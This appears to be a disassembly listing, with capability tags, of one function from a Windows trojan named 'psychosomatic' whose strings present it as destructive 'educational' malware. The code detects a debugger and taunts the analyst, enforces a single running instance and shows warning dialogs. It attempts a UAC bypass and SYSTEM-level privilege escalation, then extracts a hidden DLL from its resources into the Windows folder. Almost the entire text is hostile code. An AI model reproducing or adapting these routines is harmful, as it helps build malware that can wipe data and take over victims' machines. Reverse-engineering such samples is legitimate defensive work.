Function at 0x1400151a0
Capabilities:
Check for sandbox username or hostname
Extract resource via kernel32 functions
Get common file path
Get session user name
Terminate process
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x390
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x380], rax
mov rsi, rdx
mov ebx, ecx
mov qword [rsp + 0x48], rdx
mov r8d, 0x104
lea rdx, [0x140021ea0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xor r12d, r12d
mov dword [rsp + 0x40], r12d
mov dword [rsp + 0x54], r12d
call fcn.140015170
test eax, eax
je 0x14001521f
lea r9d, [r12 + 0x20]
lea r8, str.bro_why_are_you_trying_to_debug_me
lea rdx, str.What_are_you_doing
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
lea rcx, [0x140021ea0]
call qword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcslwr]
mov r8, rax
lea rax, str.logonui.exe
mov rdx, r12
movzx ecx, word [r8 + rdx*2]
cmp cx, word [rax + rdx*2]
jne 0x140015277
movzx ecx, word [r8 + rdx*2 + 2]
cmp cx, word [rax + rdx*2 + 2]
jne 0x140015277
add rdx, 2
cmp rdx, 0xc
jne 0x140015242
call fcn.140002440
call fcn.140002990
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
lea rdx, str.explorer.exe
mov rcx, 0xffffffffffffffff
nop word [rax + rax]
movzx eax, word [r8 + rcx*2 + 2]
cmp ax, word [rdx + rcx*2 + 2]
jne 0x1400152b2
add rcx, 2
cmp rcx, 0xd
je 0x140015264
movzx eax, word [r8 + rcx*2]
cmp ax, word [rdx + rcx*2]
je 0x140015290
call qword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
jne 0x140015365
lea r8, str.psychosomatic
lea edx, [rax + 1]
mov ecx, 0x100000
call qword [sym.imp.KERNEL32.dll_OpenMutexA]
xor ecx, ecx
test rax, rax
je 0x140015300
lea r9d, [rcx + 0x10]
lea r8, str.psychosomatic.exe
lea rdx, str.psychosomatic_is_already_running_
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov r9d, 0x34
lea r8, str.____MAYHEM_INCOMING____
lea rdx, str.Warning__You_are_about_to_execute_a_trojan_by_the_name_of_psychosomatic__made_specifically_by_Itzsten_for_educational_and_entertainment_purposes_only._By_running_this_you_keep_in_mind_that_the_creator_is_not_responsible_for_any_irreperable_destructive_consequences__nor_that_all_of_your_data_might_be_lost_forever__Contains_flashing_lights_and_loud_sounds._n_nIf_you_agree_to_these_terms__you_might_continue_to_the_next_warning_by_pressing__Yes___otherwise__please_press__No_.
call qword [sym.imp.USER32.dll_MessageBoxW]
cmp eax, 6
jne 0x14001535c
lea r9d, [rax + 0x2e]
lea r8, str.____FIND_YOURSELF_LOST____
lea rdx, str.This_is_your_last_chance_to_prevent_the_malware_from_being_executed._All_of_your_data_might_be_lost_forever_if_you_continue__and_by_pressing_Yes_you_acknowledge_that_you_are_responsible_for_any_and_all_consequences._n_nLAST_CHANCE_TO_PREVENT_EXECUTION_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
cmp eax, 6
jne 0x14001535c
mov rdx, rsi
mov ecx, ebx
call fcn.1400198e0
test eax, eax
jne 0x140015668
lea rdx, str.Failed_to_bypass_UAC__Youre_messing_with_me__right__
jmp 0x140015653
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov dword [rsp + 0x50], 0x101
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
mov rcx, r12
lea rdx, [rsp + 0x60]
lea r8, str.SYSTEM
nop dword [rax]
movzx eax, byte [rdx + rcx]
inc rcx
cmp al, byte [r8 + rcx - 1]
jne 0x140015634
cmp rcx, 7
jne 0x140015390
mov edx, 0x104
lea rcx, [rsp + 0x170]
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
xor ecx, ecx
test eax, eax
jne 0x1400153e5
lea r9d, [rcx + 0x10]
lea r8, str.Youre_messing_with_me__right__
lea rdx, str.Failed_to_get_the_Windows_folder__exiting_program_
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_ExitProcess]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov r14, rax
mov rcx, qword [sym.imp.KERNEL32.dll_GetTickCount]
mov qword [0x140021e90], rcx
lea rcx, [0x14001bf60]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rbx, rax
test rax, rax
je 0x140015440
lea rdx, str.GetTickCount64
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140015437
mov qword [0x140021e90], rax
mov dword [0x140021b18], 1
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
cmp dword [0x140021b18], r12d
je 0x140015454
call qword [0x140021e90]
mov rcx, rax
jmp 0x14001545c
call qword [0x140021e90]
mov ecx, eax
xor edx, edx
mov rax, rcx
mov r8d, 0xffffffff
div r8
add ecx, eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
nop
lea r8, [0x14001b7b0]
mov ebx, 0x6b
mov edx, ebx
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rdi, rax
test rax, rax
jne 0x1400154a0
mov ebx, 0x5d
mov dword [rsp + 0x40], ebx
jmp 0x14001559b
mov rdx, rdi
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
jne 0x1400154bf
mov ebx, 0x60
mov dword [rsp + 0x40], ebx
jmp 0x14001559b
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov r15, rax
test rax, rax
jne 0x1400154de
mov ebx, 0x63
mov dword [rsp + 0x40], ebx
jmp 0x14001559b
mov rdx, rdi
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov r14d, eax
test eax, eax
jne 0x1400154ff
mov ebx, 0x66
mov dword [rsp + 0x40], ebx
jmp 0x14001559b
lea r9, [rsp + 0x170]
lea r8, str._spsychosomaticDLL.dll
mov edx, 0x104
lea rcx, [0x140021c30]
call fcn.140001010
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov edx, 0xc0000000
lea r8d, [r9 + 3]
lea rcx, [0x140021c30]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x14001555c
mov dword [rsp + 0x40], ebx
jmp 0x14001559b
mov qword [rsp + 0x20], r12
lea r9, [rsp + 0x54]
mov r8d, r14d
mov rdx, r15
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x140015584
mov ebx, 0x70
mov dword [rsp + 0x40], ebx
jmp 0x14001559b
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14001560c
test ebx, ebx
jne 0x1400155a8
lea rdi, str.Report_this_to_itzsten:_An_exception_was_raised_n_nContinue__nWill_exclude_Task_Manager_hide.
jmp 0x1400155b9
mov edx, ebx
lea rcx, str.Report_this_to_itzsten:_ASSERT_Line__u__was_called_n_nContinue__nWill_exclude_Task_Manager_hide.
call fcn.1400146e0
mov rdi, rax
mov r9d, 0x14
lea r8, str.Failed_to_extract_hidden_DLL
mov rdx, rdi
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
cmp eax, 7
jne 0x1400155f8
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_LocalFree]
test ebx, ebx
je 0x1400155ec
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_ExitProcess]
test ebx, ebx
je 0x140015605
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov dword [0x140021040], r12d
mov rcx, qword [rsp + 0x380]
xor rcx, rsp
call fcn.14001a080
mov rbx, qword [rsp + 0x3d0]
add rsp, 0x390
pop r15
pop r14
pop r12
pop rdi
pop rsi
ret
mov rdx, rsi
call fcn.140019cc0
test eax, eax
jne 0x140015668
mov rdx, rsi
call fcn.140019cc0
test eax, eax
jne 0x140015668
lea rdx, str.Failed_to_get_NT_AuthoritySystem...
mov r9d, 0x10
lea r8, str.Psychosomatic.exe
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_LocalFree]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]